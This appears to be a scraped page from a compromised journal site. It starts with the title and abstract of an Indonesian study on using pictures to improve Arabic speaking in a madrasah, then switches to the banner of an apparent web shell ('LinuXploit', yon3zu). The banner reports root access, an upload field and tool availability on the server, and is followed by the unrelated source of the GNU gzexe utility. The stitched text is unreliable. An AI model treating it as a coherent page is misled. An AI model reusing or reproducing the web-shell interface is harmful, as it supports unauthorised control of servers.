Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Keywords:
Arabic; speaking skill; ta’bir mushawwar
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
| Server IP : 103.175.217.176 / Your IP : 18.119.133.206 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /bin/X11/ |
Upload File : |
#!/bin/sh
# gzexe: compressor for Unix executables.
# Use this only for binaries that you do not use frequently.
#
# The compressed version is a shell script which decompresses itself after
# skipping $skip lines of shell commands. We try invoking the compressed
# executable with the original name (for programs looking at their name).
# We also try to retain the original file permissions on the compressed file.
# For safety reasons, gzexe will not create setuid or setgid shell scripts.
# WARNING: the first line of this file must be either : or #!/bin/sh
# The : is required for some old versions of csh.
# On Ultrix, /bin/sh is too buggy, change the first line to: #!/bin/sh5
# Copyright (C) 1998, 2002, 2004, 2006-2007, 2010-2018 Free Software
# Foundation, Inc.
# Copyright (C) 1993 Jean-loup Gailly
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
tab=' '
nl='
'
IFS=" $tab$nl"
version='gzexe (gzip) 1.10
Copyright (C) 2007, 2011-2018 Free Software Foundation, Inc.
This is free software. You may redistribute copies of it under the terms of
the GNU General Public License <https://www.gnu.org/licenses/gpl.html>.
There is NO WARRANTY, to the extent permitted by law.
Written by Jean-loup Gailly.'
usage="Usage: $0 [OPTION] FILE...
Replace each executable FILE with a compressed version of itself.
Make a backup FILE~ of the old version of FILE.
-d Decompress each FILE instead of compressing it.
--help display this help and exit
--version output version information and exit
Report bugs to <bug-gzip@gnu.org>."
decomp=0
res=0
while :; do
case $1 in
-d) decomp=1; shift;;
--h*) printf '%s\n' "$usage" || exit 1; exit;;
--v*) printf '%s\n' "$version" || exit 1; exit;;
--) shift; break;;
*) break;;
esac
done
if test $# -eq 0; then
printf >&2 '%s\n' "$0: missing operand
Try \`$0 --help' for more information."
exit 1
fi
tmp=
trap 'res=$?
test -n "$tmp" && rm -f "$tmp"
(exit $res); exit $res
' 0 1 2 3 5 10 13 15
mktemp_status=
for i do
case $i in
-*) file=./$i;;
*) file=$i;;
esac
if test ! -f "$file" || test ! -r "$file"; then
res=$?
printf >&2 '%s\n' "$0: $i is not a readable regular file"
continue
fi
if test $decomp -eq 0; then
case `LC_ALL=C sed -n -e 1d -e '/^skip=[0-9][0-9]*$/p' -e 2q "$file"` in
skip=[0-9] | skip=[0-9][0-9] | skip=[0-9][0-9][0-9])
printf >&2 '%s\n' "$0: $i is already gzexe'd"
continue;;
esac
fi
if test -u "$file"; then
printf >&2 '%s\n' "$0: $i has setuid permission, unchanged"
continue
fi
if test -g "$file"; then
printf >&2 '%s\n' "$0: $i has setgid permission, unchanged"
continue
fi
case /$file in
*/basename | */bash | */cat | */chmod | */cp | \
*/dirname | */expr | */gzip | \
*/ln | */mkdir | */mktemp | */mv | */printf | */rm | \
*/sed | */sh | */sleep | */test | */tail)
printf >&2 '%s\n' "$0: $i might depend on itself"; continue;;
esac
dir=`dirname "$file"` || dir=$TMPDIR
test -d "$dir" && test -w "$dir" && test -x "$dir" || dir=/tmp
test -n "$tmp" && rm -f "$tmp"
if test -z "$mktemp_status"; then
type mktemp >/dev/null 2>&1
mktemp_status=$?
fi
case $dir in
*/) ;;
*) dir=$dir/;;
esac
if test $mktemp_status -eq 0; then
tmp=`mktemp "${dir}gzexeXXXXXXXXX"`
else
tmp=${dir}gzexe$$
fi && { cp -p "$file" "$tmp" 2>/dev/null || cp "$file" "$tmp"; } || {
res=$?
printf >&2 '%s\n' "$0: cannot copy $file"
continue
}
if test -w "$tmp"; then
writable=1
else
writable=0
chmod u+w "$tmp" || {
res=$?
printf >&2 '%s\n' "$0: cannot chmod $tmp"
continue
}
fi
if test $decomp -eq 0; then
(cat <<'EOF' &&
#!/bin/sh
skip=49
tab=' '
nl='
'
IFS=" $tab$nl"
umask=`umask`
umask 77
gztmpdir=
trap 'res=$?
test -n "$gztmpdir" && rm -fr "$gztmpdir"
(exit $res); exit $res
' 0 1 2 3 5 10 13 15
case $TMPDIR in
/ | /*/) ;;
/*) TMPDIR=$TMPDIR/;;
*) TMPDIR=/tmp/;;
esac
if type mktemp >/dev/null 2>&1; then
gztmpdir=`mktemp -d "${TMPDIR}gztmpXXXXXXXXX"`
else
gztmpdir=${TMPDIR}gztmp$$; mkdir $gztmpdir
fi || { (exit 127); exit 127; }
gztmp=$gztmpdir/$0
case $0 in
-* | */*'
') mkdir -p "$gztmp" && rm -r "$gztmp";;
*/*) gztmp=$gztmpdir/`basename "$0"`;;
esac || { (exit 127); exit 127; }
case `printf 'X\n' | tail -n +1 2>/dev/null` in
X) tail_n=-n;;
*) tail_n=;;
esac
if tail $tail_n +$skip <"$0" | gzip -cd > "$gztmp"; then
umask $umask
chmod 700 "$gztmp"
(sleep 5; rm -fr "$gztmpdir") 2>/dev/null &
"$gztmp" ${1+"$@"}; res=$?
else
printf >&2 '%s\n' "Cannot decompress $0"
(exit 127); res=127
fi; exit $res
EOF
gzip -cv9 "$file") > "$tmp" || {
res=$?
printf >&2 '%s\n' "$0: compression not possible for $i, file unchanged."
continue
}
else
# decompression
skip=44
skip_line=`LC_ALL=C sed -e 1d -e 2q "$file"`
case $skip_line in
skip=[0-9] | skip=[0-9][0-9] | skip=[0-9][0-9][0-9])
eval "$skip_line";;
esac
case `printf 'X\n' | tail -n +1 2>/dev/null` in
X) tail_n=-n;;
*) tail_n=;;
esac
tail $tail_n +$skip "$file" | gzip -cd > "$tmp" || {
res=$?
printf >&2 '%s\n' "$0: $i probably not in gzexe format, file unchanged."
continue
}
fi
test $writable -eq 1 || chmod u-w "$tmp" || {
res=$?
printf >&2 '%s\n' "$0: $tmp: cannot chmod"
continue
}
ln -f "$file" "$file~" 2>/dev/null || {
# Hard links may not work. Fall back on rm+cp so that $file always exists.
rm -f "$file~" && cp -p "$file" "$file~"
} || {
res=$?
printf >&2 '%s\n' "$0: cannot backup $i as $i~"
continue
}
mv -f "$tmp" "$file" || {
res=$?
printf >&2 '%s\n' "$0: cannot rename $tmp to $i"
continue
}
tmp=
done
(exit $res); exit $res
Youez - 2016 - github.com/yon3zu
LinuXploit